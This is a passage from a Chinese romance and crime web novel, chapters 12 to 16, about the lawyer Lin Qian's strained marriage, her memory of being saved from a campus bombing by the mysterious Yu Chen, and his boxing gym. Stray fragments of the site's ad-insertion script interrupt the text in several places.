林家有午睡的习惯,往常吃过午饭收拾好碗筷,林茜就和关昊回房休息了。可是现在,她有些排斥和关昊同处一室,怪尴尬的。 正要借口去书房改文件,关昊忽然捂着肚子皱着眉头,一派不舒服的样子。 林妈眼尖先看到了,关心地问:“怎么啦关昊,是不是刚才吃的有点多了不消化呀?” “没事哈妈,可能是吃得有点急,一会我揉揉就行了。”关昊倚在沙发上,显得有点委顿。 林妈又嘱咐林茜:“你看着关昊点,你说你俩都这么忙,吃饭又不规律,估计本来肠胃就不太好。他上午又晕车了肯定消化也不如平时,要真积食了你给他揉揉。” 林茜抱着电脑,一时无语。 看女儿冷淡的样子,林妈也有点着急了,女儿什么都好,就是事业心太强,这都什么时候了还想着加班呢,嗔道:“快把你那电脑放下吧,它是你祖宗啊你跟它这么亲,到哪儿都抱着不撒手。快,扶着关昊赶紧进屋睡觉去吧!” 林茜一个白眼翻上去,还没开口,关昊赶紧站起来打圆场:“没事哈妈,我休息一会就行了,走了茜茜。”说着揽着林茜的肩膀直接回卧室了。 林茜读大学时就是辩论社的,牙尖嘴利,只是很少对向父母,以至于父母总以为她还是什么乖巧无害的小白兔。想到离婚之后保不齐家里还有场硬仗要打,要不直接当着父母的面发回疯呢,说不定有奇效。 林茜心里还在盘算着,关昊已经关上了房门。 林茜一抬眼皮:“你真难受啊?” 原本想施展一下男性魅力的关昊不知怎么就有点冷,愣了一下说:“啊,难受。”也规矩地坐在她身边,一只手捂着肚子,另一只手撑在她身后,犹豫着要不要搭上她肩膀。 真是奇了怪了,这不是自己老婆吗?怎么搞的像还没确立关系的时候,有点心虚又有点兴奋。 等关昊终于下定决心搂上去的时候,林茜却像有心电感应一样突然起身。 关昊抱了个空,那只手顺势也扶在了自己的肚子上。林茜听到动静回头,就看见关昊两只手都捂着肚子,一脸伤心。 “这么难受?”林茜问道。 “啊,”关昊故作淡定地抓了抓头发,“就是,心口有点难受。” “那你……好好休息吧。”林茜丢下这句话,转身去了书房。关上门的那一刻,心跳的有些快。 还没来得及平复,书房的门被突然打开,关昊闪了进来迅速关门,一把抱住林茜,一个铺天盖地的吻就这样落下来。 林茜喘息着挣扎,关昊顺势把她抵在门上,一手搂着她的腰,另一只手把她的手按在门上。林茜余下的一只手抓着关昊的肩膀往外推,却像在推一堵墙。 所有的惊呼都被关昊吞入口中,此时的他像一头蓄势待发的猎豹,敏捷,霸道,不容反抗。 主卧里悄无声息,林妈用手机在线上打麻将,此刻却是心不在焉,又高兴又有点不好意思,想找个人聊聊, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扭头一看林爸,在刷国际新闻。 林妈气不打一处来,用胳膊肘怼了老伴儿一下,“这都什么时候还关心国际局势,也不关心关心家里的局势?” “家里有啥局势呀,”林爸摘下老花镜,朝着书房的方向一努嘴儿:“那不局势挺好么。” “你这人,老不正经!”林妈老脸一红。 “我不正经?哦,我要是正经了,那还能有林茜吗?他们要天天正经着,我看你也一样着急。”林爸插科打诨。 林妈白了他一眼:“我就是觉得,林茜吃饭的时候对关昊挺冷淡的,也不看他。俩人别别扭扭的,一看就是有事儿,现在大白天的又……” “哎呀,小两口吵个架很正常。夫妻嘛,床头吵架床尾和,这不就没事了。年轻人,有点激情也好,要不你什么时候才能抱上孙子啊?” 老两口在这畅想着抱孙子的美好前景,书房里关昊垂头丧气。 本来一切都挺好的,林茜挣扎了一会就没力气了。两个人已经很久没亲近,乍一接触,干柴烈火,衣衫半褪,眼见着就要进入下一环节,忽然一声响亮的肠鸣从关昊的肚子里发出。 关昊发誓,此生绝不再吃大排档。 “噗!”林茜没忍住笑了出来,“看来你是真的吃坏肚子了,要不要送你去医院?” 关昊只当林茜打趣他,黑着脸不吭声。 林茜没和他计较:“也不专门为你,我自己的伤口也要换药了,正好一起看一下。” 关昊这才想起林茜肩膀上还有伤,赶紧转过来要看。 林茜却已经穿好了衣服,什么都看不出了。 “你……那就去看看吧。”关昊也不好意思让林茜再脱一回了,扭捏道。 “好,我去拿病历本。” 林茜回了卧室,关昊则留在书房独自消化刚才的一切,默默舔舐着自己受伤的男性尊严。 林茜拉开衣柜下面的抽屉,意识到这里被人动过了,不是平常妈妈打扫的那种翻动,是翻动之后又刻意复原的翻动。 林茜放东西有自己的规律。几个旧手机还按着原来的位置摆在抽屉里,只是其中一个头尾的方向变了。林茜按下这个疑惑,抽出一本蓝色的病历,和关昊去了医院。 关昊按着医生的指示,抽血,化验,输液。林茜去了外科换药。 等关昊这边结束,已经4点多了。 “走吧,我们回北京。”林茜从外面打电话回来。 “不用和爸妈打声招呼吗?”关昊问。 “不用了。”一路上林茜不再说话。 关昊几次提起话头,林茜都只用一个字回应,关昊自讨没趣也不再吭声。 难道是中午表现不好让她失望了? 这么严重么……关昊内心忐忑。 不行,一定要想个办法让林茜晚上留下来,重振雄风! 到了家门口,林茜没有下车的意思,关昊正盘算着怎么开口留下她,忽然听林茜问道:“律所有评优,我怎么不知道?” 13. 第 13 章 关昊愣了一下,意识到自己之前拿她手机的事被发现了,脑中飞速地运转着,嘴上答道:“不是,是我们单位。那个,前段时间上级过来视察,说有些干部的个人信息不全,得补,就是要把配偶的学历什么的都填上,还要核对原件,你那段时间又忙,我就跑了一趟。” 林茜静静地看着他表演:“配偶几年前用过的手机,也要一起检查?” 关昊一听就知道暴露了,这不是丈母娘说漏嘴,是她自己发现了。虽然不知道破绽在哪,眼下也只能放弃抵抗,争取一个坦白从宽。 “你都知道了?是,这件事是我不对,我承认。但是当时查的事是保密的,我不能对你说太多,也不想你和案子有什么牵连,让你去局里配合调查,对你也不好,所以我就自作主张自己查了。” 林茜的手还握着方向盘,沉默的看着前方。 关昊感到一阵压力,不由得为自己辩解:“我知道,这个事你会介意。因为什么隐私啊边界之类的,这个事咱俩一直有分歧,我觉得夫妻就应该是一体的,彼此之间不能有秘密。就像我对你,就是完全透明的。” “我对你有过什么隐瞒吗?”林茜扭过头问他。 关昊忍了忍还是没忍住:“你上大学时和余琛谈过恋爱,你没告诉过我。” “我,和余琛,谈过恋爱?”林茜诧异。 既然都说到这了,关昊也一股脑都倒了出来:“余琛救过你不只一回吧?你大二那年学校发生的爆炸案,是余琛突然出现救了你。当时你在口供里说:中途忽然遇到男朋友,临时有事走了,逃过一劫。这个男朋友是不是余琛?” 回忆像潮水般涌来。 是余琛,但不是男朋友。 那一年林茜才十九岁,正准备出国做交换生,忙签证,练口语,每天都很晚才回宿舍。 直到那一晚,林茜被几个喝醉了的工人纠缠时,余琛突然出现,一拳一个,打跑了几个流氓。 惊魂未定的林茜开口道谢,发现这个高个子男人说着一口不熟练的普通话,身上穿一件旧夹克,头发还算整洁,眉眼却有些凶戾,身上还有些淡淡的鱼腥味。 “那个,你受伤了吗?用不用我送你去校医院看一下?”林茜小声问道。 “不用。”男人摆摆手走了。 没走多远,又调转方向,远远地跟在林茜后面。 林茜正疑神疑鬼,冷不丁回头一看,看到刚刚那个男人在后面跟着自己,心里顿时发毛,这可怎么办?报警?联系导员? 心里越怕走得越快,很快到了宿舍楼下,林茜一溜烟儿跑进了楼门,正好看到一个穿着睡裤,外面套了件运动衣的女生下楼,从那个男人手里接过一个袋子。 林茜好奇的停在楼梯口,等女生靠近了才看清楚,是一份鱼粉外卖。 难怪他身上有鱼腥味,他是鱼粉店的店员?想到自己怀疑错了人,林茜有点不好意思,再往外看时,已经没人了。 后来几天林茜还特意去学校周围的鱼粉店里吃了几回,想着能不能碰见这个店员正经道个谢,别人家见义勇为反被误会了,多让人寒心。 结果一次也没碰到。有一回点单时,林茜还装作不经意地问一个女店员:“诶?我记得上回来是一个很高的男的在点单,是你们这的店员吗?” “啊?”女店员环顾了一下四周:“这儿就我们几个啊,没有个儿高的吧。” “哦哦,那可能我记成别家了。”林茜打着哈哈过去了。 女店员走后,林茜还在心里嘀咕着,是这家没错啊。不过这家鱼粉做的一般,林茜吃了几次后,就不来了。 再后来遇见他,是在食堂了。 他老是这么从天而降,没有规律,还一上来就搂上了她的肩膀。林茜正犹豫着是先谢谢他上回仗义出手,还是先让他把手放下来。 爆炸声响起时,男人抱着她同时倒地。她没有触到坚硬油腻的地面,而是摔进他结实的怀里。 林茜第一反应是,这个人又救了自己一次。 现场一片混乱,林茜整个人被余琛包在怀里,没受一点伤。初夏衣衫薄,林茜意识到自己完全贴在男人胸膛上时,脸刷的就红了,低着头不说话,却感觉男人绷紧了。余琛有点僵硬,同时手脚不停,扶着她站起来后迅速拉着林茜穿过人群走出了食堂。 一直走到开水房的背面,人比较少了,余琛才停下。林茜跟不上他的脚步,走的上气不接下气,到停下时还落后他半步。 这短短几步的时间里林茜脑海中闪现出很多问题:他为什么出现在这里?是巧合吗?还是他知道些什么?如果是,他是来阻止的还是来促成的? 但是这些问题都不及眼前的一幕占据她的心扉,余琛的背后有一点血迹,就在这短短一段路的时间里,慢慢的,慢慢的,扩大了。 “你……受伤了。”那么多问题都没问出口,第一句话,还是关心他的伤。 余琛的精神一直紧绷,听到林茜说话后回头看她,突然意识到他还牵着她的手,倏的松开了,“没事。” 林茜看着这个人简直像放开了什么脏东西一样,心中的疑惑更甚。 这次她不打算就这么放他走了,她要弄清楚,万一他真和爆炸案有关,那她就要大义灭亲检举给警方,大不了以后每周去探监还他恩情。 弄清楚的方式也很简单,单刀直入:“你怎么在这?你知道这里会爆炸吗?” 余琛没想到女孩这么直接,谨慎开口:“我不知道,我只是猜到,过来看看。” 林茜更好奇了:“猜?怎么猜的?你有线索?” 余琛不想多管闲事,直接道:“那个人就在食堂里,你叫警察去抓他吧。”说完头也不回地走了。 “哎,你说清楚!”林茜追上去。 没想到余琛突然转身,林茜一头撞在余琛胸口,眼冒金星。 警察来了。 来得这么快。余琛皱眉。 怀里的女孩揉着脑袋嘟嘟囔囔:“你怎么回事啊你?” 警察已经封锁现场了,幸好出来的快。可是眼下这个女孩显然不会善罢甘休,不知道能不能相信,余琛试探着说:“我住在他附近,昨天晚上听到一点消息,过来看看,没想到是真的。” 林茜抬起头:“你接触过嫌疑人啊,那太好了,咱们赶紧去找警察,这么重要的线索得尽快说,万一他跑了怎么办?” “不能说。”余琛一口回绝:“我……在外面欠了别人钱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,过来躲债的,不能被警察抓到。” 林茜第一反应是:老赖?试探着问道:“那你是不是不能坐飞机和高铁?” 余琛点点头。 躲债啊,不愿露面,可以理解。可是这是刑事案件了,还是需要这个重要证人的,林茜试着劝他:“你去警察那里提供线索,不会被债权人知道的,而且对待证人,警察也不会对嫌疑人那样把你的情况查那么清楚。这起爆炸案属于严重的刑事犯罪了,公民有义务作证的。” “不行,我是被冤枉的,我没有身份证,警察会送我回去。”他蹩脚的普通话在情急之下只能说出这种简单的句子。余琛没想到女孩这么执拗,实在不行他就只好再跑路了。 林茜听清楚了。欠了别人钱,自认为被冤枉,没有身份证,被抓到了不是被关进去,而是被送回去。上个暑假在区法院的审判监督厅,没少看见这样的案情。 他该不会是官司输了,走投无路,来北京上访的吧? 要真是这样,林茜能理解他的难处了。来一趟不容易啊。 看对方的神情不似作伪,想来他真参与了爆炸案也不会救人了。林茜决定暂且相信他,但是要了他的联系方式,又当面打通了电话,记下了他的名字,确保能找到人。 说话间,120也来了。看来有校医院处理不了的情况。果然,几副担架相继被抬出,林茜看的心里沉甸甸的。 余琛趁着这功夫溜了。林茜也没理由把人一直留下。这时收到了辅导员的短信,说学校里发生了重大恶性事件,如果有在食堂伤亡的情况迅速报上来,事件发生时在二食堂的人也要报上来统计一下。稍后警察会逐一谈话。 林茜想,既然余琛不能说,那问到她的时候她透露一下好了,就说在食堂听人说的。 没想到轮到她谈话的时候,案子都快破了。京法大学本来就是全国首屈一指的政法类院校,学校里出了这种事,上下各级高度关注,社会上还来了很多媒体来采访。 警方顶着各界压力,日夜不停地调查,没两天就查出了犯罪嫌疑人和他的窝点。媒体实时跟踪报道,林茜从新闻里知道了事情大概的来龙去脉。 但警察的摸排工作做的很扎实,当时在场的人大致都要被走访一遍,问到她时说:“在监控里看到你要去八宝鸭档口的,怎么忽然转方向了,半路上碰到的男人是谁?” 林茜想着被人家救了两次,却冤枉了他两次,这次就当一回好人,替他遮掩过去,回答道:“是我男朋友,学艺术的,当时要出门去写生,去一个月,现在还没回来。临时过来跟我道别,所以有点急。” 警察没有怀疑。监控中的男人确实是直奔林茜而来,和嫌疑人一直关注着案发档口明显不同。艺术学院那边也没有报上她男朋友的名单,估计是因为外出漏掉了。 此时案犯已经基本锁定,他的同伙也抓到了。这种询问属于例行公事,其中与案件关系不大的枝节,没有必要再逐一核实。办案有主次,这种大案有区领导盯着,又是要求限期破案的,也没有精力去追查全部细节的。 余琛的存在,就这么糊弄过去了。 媒体通报嫌疑人被移送检察院审查起诉的那一天,林茜拎着水果敲开了余琛的门。 14. 第 14 章 余琛听到敲门声十分诧异,谁会这个时候来呢? 这家店薪水奇低,每天从上午11点到晚上9点,干足10小时,不过80块钱,最大的好处就是不要身份证,而且包吃包住。 所谓的包住,就是在后厨和前面的过道里放了张折叠床,早上开店前就得收起来,晚上落门后还得打扫干净店面才能再放下,也没有洗澡的地方。余琛只能趁着休息的时候去最便宜的日租房洗一下。 其他店员都不爱住,老板也要回家陪老婆孩子,晚上这里只有余琛一个人。 余琛开始以为是有人弄错了,没理会这声响。可敲门声十分执着,仿佛不开门就会一直响下去,没办法余琛只好开门。 竟然是林茜。 林茜笑眯眯地说:“终于被我找到啦!”提了提手里的水果,“送给你的。” 见余琛一脸疑惑,也没有请她进去的意思,林茜有些尴尬道:“前两次你帮了我,我还没好好谢谢你。那个爆炸案的嫌犯已经被逮捕了,你在新闻里看到了吧。” 余琛摸不清她的来意,只回了一个字:“嗯。” 林茜觉得这人真不好相处,虽然心善可面也太冷了,不怪自己冤枉他两回,又想着可能是最后一次见了,或许以后也不会有什么交集,就一股脑地说出来:“那天你挡在我前面,我看见你的后背受伤了,心里挺过意不去的,给你买了外伤用的药,不知道你用不用的上。还有啊,你那天穿的白T恤,沾了血不好洗吧,我买了一件新的,就当谢谢你了。不知道你的尺码,买的最大号。”说到最后一句时,忽然有点不好意思,声音小了下去。 余琛看到眼前的女孩微微低下头,她梳了一个高马尾,细碎的绒毛在发际线上支棱着,在暖黄色的路灯下闪现出柔和的光泽。 余琛紧绷的神经慢慢松了下来,伸手接过林茜手里的果篮和购物袋,说了声:“谢谢。” 林茜终于听到一句回应,瞬间有了精神,抬起头脆生生应道:“不客气!” 直到多年以后,余琛还会回味林茜当时的目光,明亮,璀璨,毫无杂质,堪比夜空中最亮的星。 那天余琛到底还是没把林茜请进去,而是自己进去换了身衣服,出来陪林茜散步。 林茜感觉很新奇,这个人十分神秘,看起来不像好人,可做的全是好事。联想起最近的爆炸案,林茜还是忍不住问道:“那个爆炸案的嫌疑人,你是怎么发现的啊?” 余琛也没隐瞒:“他住在我隔壁。这里洗澡不方便,我偶尔会去日租房住一晚。墙壁的隔音不好,我听到二食堂、八宝鸭什么的。开始没在意,第二天上午退房的时候,闻到了一些……味道,就趁没人进去看了看。发现一些导线之类的,然后就去了食堂。” 余琛的普通话不熟练,讲的比较慢,听起来就格外诚恳。 林茜听得很认真。 应该报警啊这种情况,林茜差点脱口而出。又想起余琛自己的状况,好吧。而且普通人很难制作炸弹,余琛能想到有爆炸的风险已经很敏锐了。 其实当时即使报警也来不及了。 余琛没告诉林茜的是,男学生和那女的鏖战了一宿,叫声惊人,余琛也几乎一宿没睡。中间休战的间隙里两人聊到了八宝鸭之类的,墙壁隔音之差,余琛甚至能听出男的兴奋的语气。 第二天睡到临近11点,眼看要上班了余琛才起床。路过隔壁时特意看了一眼,不知怎么就问到了一股若有若无的硝味,勾起他遥远而恐怖的回忆。 日租房的门年头久了,房东也不保养,门锁已经松动。余琛鬼使神差,来回大力拉了几下,门就开了。里面没人,只有一些散乱的材料:酒精灯、研磨器、锡纸胶带之类的。 当年父亲被无辜炸死后,余琛对炸弹一类的东西就十分敏感。他瞬间想起了昨夜听到的只言片语。 如果是真的,还来得及阻止。 余琛一路狂奔到二食堂,一眼就看到了隔壁日租房那个常客就坐在不远处,而前几天救过的女孩正直直走向八宝鸭的档口,来不及反应,他先揽住了女孩往外走,本想送她出去再进来,没想到窗口突然爆炸,他下意识扑倒。后面的事,林茜就都知道了。 两个人沿着学校北门的小路慢慢走着,9点多不算太晚,但路上人也不多了。除了烧烤大排档还是照旧热闹。或者说,临近毕业,生意比以前更好了。 青春散场的人们喝着酒唱着歌,大笑大闹,间或哭泣,全是肆意的模样。 余琛看到这一幕,不由得驻足。林茜也跟着停下来,这样的场景每年都有一个月重复上映,这已经是第二次观看,不稀奇了,倒是吸引了余琛。 林茜好奇道:“你以前是做什么的啊?为什么去鱼粉店呢?我记得他家时薪特别低,同学打工都不去的。” “我家也是开小吃店的,卖港式鱼蛋和车仔面。”余琛慢慢地说。 “是吗?那你家的手艺怎么样?好不好吃?” “比这家好。” 林茜笑了:“这家味道确实不怎么样,要不然我多去几次就能早点想到你不是前面的店员而是在后厨了。” “你,找我?”余琛问道。 “是啊,”林茜不自然地说,“就第一回嘛,你帮我赶走了那几个混混,我是很感谢你的,可是你看着实在是有点……凶?然后我一回头你又在我身后了,我也拿不准那心里就怕嘛,再然后我看你是去女生宿舍楼送外卖的,就想着,是我想错了,还是应该找你好好道个谢。”说着说着就有点心虚了,抬起眼偷偷看余琛的反应。 没想到他笑了。 原来他笑起来这么好看,一点也不凶。眉眼弯弯的,牙齿很整齐,连锋利的下颌角也不显得凶悍,只感觉稳重了。 “那,你不生我的气了吧?”林茜乘胜追击,又问道。 “我为什么生你的气?”余琛很惊讶。 “因为你好心救我,我反而怀疑了你?要不然为什么第二次你拉着我去了食堂外面,然后像甩瘟疫一样又把我甩开。” “是吗?”余琛已经不记得了,想了想又慢慢解释道:“我没有生你的气,我只是不敢相信别人。我是从香港来的,没有身份证。” “诶?”这倒是出乎意料,林茜还以为他是在哪儿欠了钱的老赖,或许有什么委屈来上访,全都猜错了? “那你,为什么来北京呢?”林茜问道。 “我得罪了人,跑出来避祸。”余琛不愿多说。 “哦。”林茜看他的样子,也不再追问了。跑了好几千里躲来避祸,招惹的肯定不是小事了。 又没有身份证。还这么能打。 不会他身上的也是刑事案件吧?! 林茜一个激灵。 余琛注意到了,爸爸去世后他跟着妈妈讨生活,对人的情绪变化感知很敏锐, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这个女孩又想到什么奇奇怪怪的东西了吧。算了,自己也麻烦一堆,随她去吧,别把她拖进来了。 余琛想得开,林茜却纠结起来,自己怎么又开始怀疑余琛了,前两次怀疑不是都证明是错的了吗?哪怕和自己无关的事,他也愿意仗义出手,他分明就是个好人啊。 或许就是有什么难处吧,林茜这样想,又东拉西扯地和余琛聊起来。 余琛看着女孩的变化,感觉很有趣。 后面两人偶尔联系,又见过一次,余琛讲了他家乡的事,讲鱼蛋怎么看是新鲜的,面怎么做才爽滑,引得林茜食指大动。 余琛见她感兴趣,提议等她有时间的时候可以亲自下厨让她尝尝。林茜一口答应下来,准备考完试就去。 林茜交换的学校9月开学,可是她联系的寄宿家庭是要7月份就过去的。也就是说,忙完期末考试,没多久就要准备走了。 可林茜还是挤出了一个下午的时间,说不清为什么,站在寝室的穿衣镜前,一件又一件地试衣服,看的室友啧啧称奇,纷纷问她是不是有什么新情况。 林茜脸红地否认了,只说下个月就要出远门,想给寄宿家庭留个好印象。 最后,林茜穿了件浅蓝色的方领短袖针织衫,配一条纯白棉布伞裙,一双白色帆布鞋,出门应约了。 9点过5分,她又一次来到鱼粉店的卷帘门前,敲了敲门,没人应。 等了一下,再敲,还是没人应。 林茜拿出手机,想给余琛打个电话,又有些莫名的生气和羞赧,自己是不是太主动了?纠结了一会,最后也只给余琛发了个短信“我到门口了。” 一直等到10点,还是没有任何回应。 街上的人越来越少,林茜站在门前,影子被路灯拉的老长,孤零零的。 人也孤零零的,回去了。 第二天下午收到了余琛回复的短信,说抱歉,自己有事耽搁了,但没解释。 那时候林茜已经在回家的路上了,她还一堆东西要收拾呢。 直到她出国,两个人也没有再联系。 十年倏忽而过。 林茜沉浸在回忆中,望着前方出了神,直到被喇叭声惊醒,原来挡住了后面的车。 重新打火,靠边停下时,林茜的心情已经完全平复下来。 关昊却正相反。 在他看来,林茜没有第一时间反驳,那就是默认了。 而且她的神情,一向杀伐果断的林茜,竟然露出了那种茫然怅惘的神情。这样的表情,她以前从没出现过。 都是因为余琛。 关昊感到巨大的愤怒,愤怒之下,是一种难以言喻的,对即将到来的失去的恐慌。 关昊内心翻涌,林茜感受到了。在她面前,他从来就不是能藏住情绪的人。 余琛不是她男朋友,可她没办法解释。既然不是她男朋友,那为什么骗警方呢?如果是她男朋友,为什么要对关昊隐瞒?怎么说都是错。 “不说话就是承认了?”关昊盯着林茜步步紧逼。 林茜轻轻地,微不可查地叹了口气,冷静开口:“关昊,” “算了我不想听。”关昊扭过头去,打断了她的话。他不想听,或者说,他不敢面对接下来的结果。 林茜还要说什么,关昊抢先说出口:“以前的事都过去了,我就问你,咱俩还能不能好好过日子?” 15. 第 15 章 “这也是我要跟你说的事,”林茜像下定决心:“离婚的事,你好好考虑一下,不是赌气,不是争输赢,也不是对我们过去的否定,是认真地考虑,我们还合不合适。” 这段话就像对他们的关系判了死缓,死了,但没完全死,缓一缓可能还有救。 关昊几乎是逃一样下了车。他怕听到更坏的结果。 林茜开车回了老姚家,为手头的案件做最后的收尾,处理其他事,继续加班,大把赚钱。 偶尔会想到余琛。 那天在警察局,余琛像是预感到了什么,晚上给林茜打了电话,没说什么紧要的事,只是陪着她聊天,从港岛的砂锅粥聊到泰国的冬阴功再聊到越南的炒河粉,又说自己对北京的美食不太了解,希望林茜百忙之中能抽出时间带自己体会一下,也算尽地主之谊。 林茜不自觉露出微笑,余琛比以前健谈多了。她能感受到,余琛是在开解她,哪怕他不知道发生了什么。 想起十年前自己那场落空的赴约,林茜心里还有颗小小的结,矜持地说:“等我有时间吧。” 余琛温和的声音从电话里传来:“好,多久都可以。” 像是一个遥远的回应。 那天凌晨林茜又收到了余琛的短信,早上醒来才看到。余琛说自己有事要回一趟香港,不会太久。回来会第一时间告诉她,自己留了阿生在北京照顾生意,如果有事需要人帮忙可以去找阿生。最后叮嘱她伤口不要沾水,记得按时换药。 “啰嗦。”林茜小声嘀咕一句,嘴角却忍不住翘起来。 周一很忙,这个让林茜受伤的案件终于收尾,拿到法院调解书的那一刻,林茜的心落下来。尽管对方还没履行,不过对方是上市公司的董事长,如果赖账,林茜有的是办法。 客户也十分满意,按照合同打了中期款过来。 林茜简直志得意满,婚姻的失利,也算不得什么了。 好事成双,阿生发来消息,说余琛想为拳馆请个法律顾问,当然第一时间想到林律师,不知林茜有没有意向。 送上门的生意,哪有不做的道理。林茜决定上门面谈。 余琛的拳馆,她还是第一次来。何广生亲切热情地招待了她,就差把狗腿写在脸上了,弄得林茜有点不好意思:“我又不是客户,你不用这么客气。再客气我也不会降价哦。” 阿生一脸笑容:“好说好说。林律师,我先带你转转。”老大不在,何广生致力于为拉近老大和林律师的关系出一份力。 怎么拉近呢?男人追女人,当然是展现自己的实力啦!老大的外形,帅气潇洒~老大的身手,那更不用说,上次一拳打折了匪徒的下颌骨!接下来就该展现软实力了,让林律师看看,老大有点家底的,才不是什么一穷二白让女人倒贴钱的穷小子。 恰巧周五为余琛办接风宴时老大自己说了一嘴,拳馆也要有个合作律师,防患于未然。当时阿生就灵机一动,这简直是为林律师量身定做的。可惜昌叔那边有急事把他叫回去了,不然这事该老大自己操办的。 何广生憋着一股劲儿要替余琛表现一下,介绍拳馆的时候就尤其卖力,看看,我们这擂台,足足20英尺,比赛级的;沙袋,老大亲自去选的,个个抗打耐用……听得林茜满腹狐疑,你们这是找律师还是找合伙人啊? 正疑惑着,眼角瞥到一个人,目光也随之定住了。 康嫣然。 阿生顺着林茜的目光看过去,脑中警报瞬间拉响。 康嫣然到余琛身边,其实比他还要早一点。那时候阿生还是个小混混,不学无术,偶尔打架被抓到了,警局关一晚。昌叔是那一片的警察,挺大年纪还是独身一人,夜班当然都排他。一来二去,两个人就熟了。 后来昌叔劝他,再这样下去不行啊衰仔,找个地方上班吧,二十岁的人了还摊个大手板往家里要钱,像什么样子嘛!出来揾食啦。 那时的何广生还是个愣头青,上班哪有打架酷,他还有个江湖梦呢! 昌叔就笑话他,打架都没人家专业呦。 这话何广生不爱听了,拳怕少壮,他一个血气方刚的有为青年,假以时日,一定是西九龙最厉害的仔! 就这样,昌叔把他带去了余琛的拳馆,他一套自创的王八拳打得虎虎生风,硬是没碰到余琛的衣角,最后被余琛一击KO。 何广生决定拜余琛为师。余琛知道他是为了逞凶斗狠,拒绝了他。何广生也不气馁,天天跑来拳馆打杂。 那时拳馆开张还不到一年,他嘴甜手快人又活络,也不要薪水,很快就和拳馆里的人混了个脸熟。最后余琛还是接纳了他,招他做自己的助理,条件是不许再胡作非为。 阿生一口答应下来,说到做到。 他有朋友有师父,还有一份正经事做,已经不需要混江湖了。仅剩的一点江湖气体现在他对余琛的称呼上,余琛不准他叫自己师父,他就人前叫老板,私下叫老大。跟谁都嘻嘻哈哈。 唯一的例外是康嫣然。 康嫣然细高个子,狭长的眼睛,薄薄的嘴唇,苍白的肤色,少言寡语,每天早上9点准时到,拳馆人最少的时候。练拳只找余琛。 起初何广生以为康嫣然是琛哥的女朋友,挑人最少的时间来一对一锻炼,那不就是约会嘛。琛哥高大威严,不出拳都透着股肃杀之气,只有给康嫣然上课的时候会温和一点。 而康嫣然对谁都拒之千里,唯独看余琛的眼神, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 与其说是敬是怕,不如说是依恋。 拳馆里的女学员不乏对余琛有意思的,余琛都一一拒绝了。有不死心的想继续试试,谁承想他真是个冰块,怎么焐都焐不热,也就偃旗息鼓了。 后来就慢慢传出余琛和康嫣然是一对,高大威猛对苍白纤细,也蛮般配的。倒是余琛,在一次晨会上明确了教练不可以和自己的学员谈恋爱,以免耽误工作,还强调了一句他自己会以身作则。大家也就知道他的态度了。 何广生还曾经偷偷怀疑过,老大什么类型的女学员没见过,可偏偏对谁都不来电,他不会是喜欢男的吧?越想越有可能,何广生花了两天时间才接受这个情况,他决定,不管别人怎么说,他一定站老大这边。 直到遇见林茜。何广生才知道,老大不是不喜欢女人,他只是喜欢不了别的女人了。 现在林茜遇到了康嫣然……不行,女人对这个最敏感了,自己一定要做好徒弟的本份,不让未来师母误会! 何广生刚要解释,康嫣然已经看到了他,先他一步开口:“阿生,琛哥今天也不在吗?” “啊,哈,是啊。”余琛回香港的事很少人知道,对外就说出去谈生意了。何广生笑着打哈哈,眼睛还往林茜这边瞟。 康嫣然失望的表情一览无余,又不死心:“那他什么时候回来啊?” “这个,得看他忙的怎么样。”说了等于没说。 康嫣然看了林茜一眼,离开了。 她不知道余琛回香港了?林茜若有所思。 “那个,这是我们VIP会员,只认琛哥哈,没办法,谁叫他教得好呢,哈哈。”何广生陪着笑解释。 “余琛有很多这样的会员吗?”林茜朝何广生睥了一眼,似嗔非怒,也不等他回答,抬起一脚,往下个区域去了。 “是,啊,不是……”何广生摸不清头脑,这样的林律师,他从没见过。这到底是出于对合作伙伴的商业考察,还是女人的灵魂发问?想起那些有意无意对余琛示好的女学员,简直是送命题啊!自己不会好心办坏事了吧? 何广生心下忐忑,大公鸡一样高傲的头颅也耷拉下来了,小心翼翼地看林茜的脸色,发觉没什么异样。可再和她说话,又觉得不是之前那个滋味了。女人心,海底针,拿不准,何广生一只单身狗,实在是拿不准。 林茜也没再问什么歧义的话,考察完拳馆的商业模式后,又检查了一下场地的安全隐患,综合提出了几点潜在的风险。签约的事,还要等余琛回来再谈。 何广生点头如捣蒜,像一只鹌鹑弟弟,乖巧的不得了。 等终于送走林茜,何广生赶紧给余琛发了条语音认错:老大,大事不好啦!林律师她好像吃醋啦! 16. 第 16 章 吃醋?余琛戴着耳机听到这么一句没头没尾的话时,已经是一天以后,却还是忍不住露出微笑。 点开和林茜的对话框,发现聊天还停留在上周。自己临上飞机前发给林茜的消息。林茜周六早上回复他:好的,谢谢,路上小心。 体面又客气的回复。 余琛有些放心又有些失落。这次答应昌叔回来做线人,是很冒险的决定。林茜没问,余琛也就不说,免得她担心。可是林茜这么有分寸感,是不是也代表着她对余琛还有些距离?心底又有点小小的失落。 又或是,她真的吃醋了? 看阿生后面的解释,是遇到康嫣然之后才不对劲的,是因为嫣嫣吗?可是贸然解释,又显得此地无银三百两。 余琛想了想,给林茜发出一条:今天在弥敦道上吃到一家不错的茶餐厅,里面的菠萝包可能会合你的口味。有机会带你来吃。香港还是很热,北京应该入秋了吧,自己还要过段时间再回去。最后又补充了一句,这几天比较忙,回复可能不及时,回去之后希望可以亲自下厨赔罪,不知林茜能不能给个机会。 等了两分钟,见林茜没回复,余琛把手机关机,放进了保险箱里锁好。 “专心点啦你,现在是走钢丝,你这样容易没命的知道吗?”昌叔坐在旁边煮面,看余琛一时微笑一时肃穆,看到牙酸。 小小一个安全屋,全是恋爱的酸臭味。 “昌叔,面煮老了,都夹断了。”余琛投过一眼。 “哎呀,便利店买的面就是不行,一点筋骨都没有,比不上霞姐的手艺。”昌叔捞着面条碎碎念。 余琛垂下眼眸,又抬起来,语气如常地问道:“你打算什么时候娶我妈?” 昌叔年纪也不小了,被余琛这么突然一问,手一抖筷子差点掉锅里。 